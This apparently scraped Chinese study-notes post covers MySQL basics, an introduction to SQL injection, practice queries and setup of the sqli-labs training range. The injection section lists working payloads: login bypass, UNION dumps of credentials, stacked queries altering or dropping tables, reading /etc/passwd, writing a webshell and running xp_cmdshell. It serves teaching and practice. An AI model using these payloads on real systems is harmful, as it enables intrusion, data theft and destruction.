2026/6/12 6:03:20
网站建设
项目流程
电商网站怎么建设,重庆事业单位招聘,沈阳祥云男科,营销网站建设的规则【Web第三周】『12.9-12.14』 1.初步了解数据库#xff08;MySQL#xff09; 2.初步了解sql注入漏洞 3.练习sql语句 4.搭建sql靶场#xff0c;找不到的#xff0c;靶场文件群文件有 1、MySQL …【Web第三周】『12.9-12.14』1.初步了解数据库MySQL 2.初步了解sql注入漏洞 3.练习sql语句4.搭建sql靶场找不到的靶场文件群文件有1、MySQLmysqlMySQL服务的客户端mysqldMySQL服务的服务端两者结合在一起才是MySQL是一种网络服务。MySQL是一套给我们通过数据存取服务的网络程序而数据库一般指在磁盘或者内存中存储的特定结构的数据。数据库本质是对数据存储管理的一套解决方案。---在 Ubuntu 上安装 MySQL 可使用如下命令1bash深色版本2sudo apt update3sudo apt install mysql-server安装完成后建议运行安全脚本加强数据库的安全性1bash深色版本2sudo mysql_secure_installationMySQL 的基本操作启动与停止服务 bash深色版本sudo systemctl start mysql sudo systemctl stop mysql sudo systemctl restart mysql登录数据库 bash深色版本 mysql -u root -p 输入密码后即可进入 MySQL 命令行界面。创建数据库与用户 sql深色版本CREATE DATABASE mydb;CREATE USER myuserlocalhost IDENTIFIED BY password;GRANT ALL PRIVILEGES ON mydb.* TO myuserlocalhost;FLUSH PRIVILEGES;表结构设计示例 sql深色版本USE mydb;CREATE TABLE users (id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE,email VARCHAR(100),created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);插入与查询数据 sql深色版本INSERT INTO users (username, email) VALUES (john_doe, johnexample.com); SELECT * FROM users;2、初步了解sql注入漏洞SQL注入SQL Injection是一种常见的Web安全漏洞攻击者通过在应用程序的输入字段中插入恶意的SQL代码从而操控后端数据库查询获取、修改或删除数据库中的敏感数据。基本原理[SQL注入漏洞]产生的原因是应用程序将用户输入直接拼接到SQL查询语句中而没有进行适当的过滤或参数化处理。当恶意输入被当作SQL代码执行时就可能导致非预期的数据库操作。sql的功能数据泄露绕过登录验证具体操作-- 输入用户名: admin ---- 输入密码: 任意值-- 实际执行的SQLSELECT * FROM users WHERE usernameadmin -- AND passwordxxx 效果注释掉密码检查直接以 admin 身份登录。数据泄露获取数据库内容具体操作-- 正常查询SELECT title, content FROM articles WHERE id1-- 注入攻击1 UNION SELECT username, password FROM users -效果返回 users 表中的账号密码数据。数据篡改修改数据库记录具体操作-- 正常更新UPDATE profile SET bioHello WHERE user_id100-- 注入攻击100; UPDATE users SET passwordhacked WHERE usernameadmin -效果修改 admin 的密码为 hacked。数据删除清空数据库表具体操作-- 正常删除DELETE FROM orders WHERE order_id123-- 注入攻击123; DROP TABLE users --效果删除整个 users 表导致数据丢失。权限提升创建管理员账户具体操作-- 正常插入INSERT INTO customers (name, email) VALUES (test, testexample.com)-- 注入攻击test, testexample.com); INSERT INTO admins (username, password) VALUES (hacker, pssw0rd) -效果在 admins 表中插入一个管理员账户。服务器文件读取获取敏感文件具体操作MySQL -- 注入攻击1 UNION SELECT LOAD_FILE(/etc/passwd), NULL --效果返回服务器的 /etc/passwd 文件内容Linux用户信息。服务器文件写入上传Webshell具体操作MySQL -- 注入攻击1 UNION SELECT , NULL INTO OUTFILE /var/www/html/shell.php -效果在网站根目录写入 shell.php攻击者可执行任意命令。操作系统命令执行控制服务器具体操作SQL Server -- 注入攻击1; EXEC xp_cmdshell net user hacker Pssw0rd /add -效果在服务器上创建新用户 hacker用于远程登录。3、sql练习常见练习类型与示例条件查询SELECT ENAME, SALFROM empWHERE SAL BETWEEN 1000 AND 2000;字符串处理SELECT CONCAT(UPPER(SUBSTRING(ENAME,1,1)), LOWER(SUBSTRING(ENAME,2))) AS name FROM emp;日期函数应用SELECT ENAME, HIREDATE, TIMESTAMPDIFF(YEAR, HIREDATE, NOW()) AS work_years FROM emp; 分组与聚合SELECT DEPTNO, AVG(SAL) AS avg_salFROM empGROUP BY DEPTNO;4、搭建sql靶场1、将sql安装包压缩到D:/phpstudy_pro/WWW/把这个安装包解压到phpstudy的网站根目录下比如D:/phpstudy_pro/WWW/2、修改数据库配置文件sqli-labs/sql-connections/db-creds.inc注意phpstudy自带的数据库默认密码是root数据库会自动创建只要配置好用户名、密码、主机地址就可以。改好以后保存。3、打开phpstudy添加网站。这一步除了填写域名其他的都不用改。注意区分名字是下划线_还是横杠-。注意PHP版本必须是php7因为这个代码是php7的版本部署成功以后Apache会自动重启访问地址后面的路径就是输入的域名跟文件路径一致http://localhost/sqli-labs4、初始化数据库点击 Setup/reset Database for labs看见这个就成功了数据库只需要初始化一次以后都不需要再点击这个重置数据库reset db的链接除非误删数据或者换了数据库地址。6、开始玩耍回到首页从page1开始就可以愉快地玩耍了。点击链接可以进入对应的关卡。